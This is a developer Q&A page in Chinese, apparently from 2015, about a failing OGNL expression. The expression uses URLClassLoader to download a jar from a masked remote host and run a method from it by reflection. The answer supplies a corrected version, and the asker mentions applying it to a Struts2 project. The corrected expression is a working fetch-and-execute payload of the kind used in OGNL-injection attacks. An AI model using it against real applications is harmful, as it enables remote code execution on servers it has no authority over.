2015-07-28 117 views
2

我打算在OGNL Expression中使用URLClassLoader,它将加载远程jar文件。 然而,有一个例外:如何在OGNL表达式中使用URLClassloader和反射

Exception in thread "main" java.lang.ArrayIndexOutOfBoundsException 
    at java.lang.System.arraycopy(Native Method) 
    at ognl.OgnlRuntime.callAppropriateMethod(OgnlRuntime.java:1244) 
    at ognl.ObjectMethodAccessor.callMethod(ObjectMethodAccessor.java:68) 
    at ognl.OgnlRuntime.callMethod(OgnlRuntime.java:1349) 
    at ognl.ASTMethod.getValueBody(ASTMethod.java:90) 
    at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212) 
    at ognl.SimpleNode.getValue(SimpleNode.java:258) 
    at ognl.ASTChain.getValueBody(ASTChain.java:141) 
    at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212) 
    at ognl.SimpleNode.getValue(SimpleNode.java:258) 
    at ognl.ASTAssign.getValueBody(ASTAssign.java:52) 
    at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212) 
    at ognl.SimpleNode.getValue(SimpleNode.java:258) 
    at ognl.ASTSequence.getValueBody(ASTSequence.java:63) 
    at ognl.SimpleNode.evaluateGetValueBody(SimpleNode.java:212) 
    at ognl.SimpleNode.getValue(SimpleNode.java:258) 
    at ognl.Ognl.getValue(Ognl.java:494) 
    at ognl.Ognl.getValue(Ognl.java:644) 
    at ognl.Ognl.getValue(Ognl.java:702) 
    at ognl.Ognl.getValue(Ognl.java:672) 

这里是我的代码

Ognl.getValue("#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://*.*.*.*/wd.jar')}),#lc=#cl.loadClass('Hello'),#o=#lc.getConstructor().newInstance(),#m=#lc.getDeclaredMethod('hello'),#m.invoke(#o,null)", 

的网络日志显示,URLClassLoader访问了jar文件,但是,我调用是无法正常工作的功能。

xxxxxxxx - - [28/Jul/2015:07:19:38 -0400] "GET /wd.jar HTTP/1.1" 200 613 "-" "Java/1.7.0_51" "-" 

这是为什么?

回答

0

这是因为getConstructorgetDeclaredMethod方法的可变参数。 OGNL不会很好地处理可变参数。

您可以重写表达式以避免可变参数。你不需要调用构造函数来获得一个新的实例,一旦你有一个实例,就不需要在OGNL中使用反射。 :)

Ognl.getValue("#cl=new java.net.URLClassLoader(new java.net.URL[]{" 
    + " new java.net.URL('http://*.*.*.*/wd.jar')}), #lc=#cl.loadClass('Hello')," 
    + " #o=#lc.newInstance(), #o.hello()", context); 

BTW是您Hello类默认包?您需要提供loadClass中的FQN(例如loadClass('some.package.Hello'))。

+0

谢谢你的回答,帮了我很多! – iswin

+0

它运行良好,当我在我的Java项目中测试它,但是,当我测试Struts2项目时,我发现它不能正常工作,我调试Struts2项目,它抛出一个异常:“nosuchmethod xxx”,我改变我的代码并把代码放到构造方法中,它工作的很好,为什么呢?谢谢 – iswin

+0

@iswin:不知道S2项目是什么意思,并将代码放在构造函数中。 –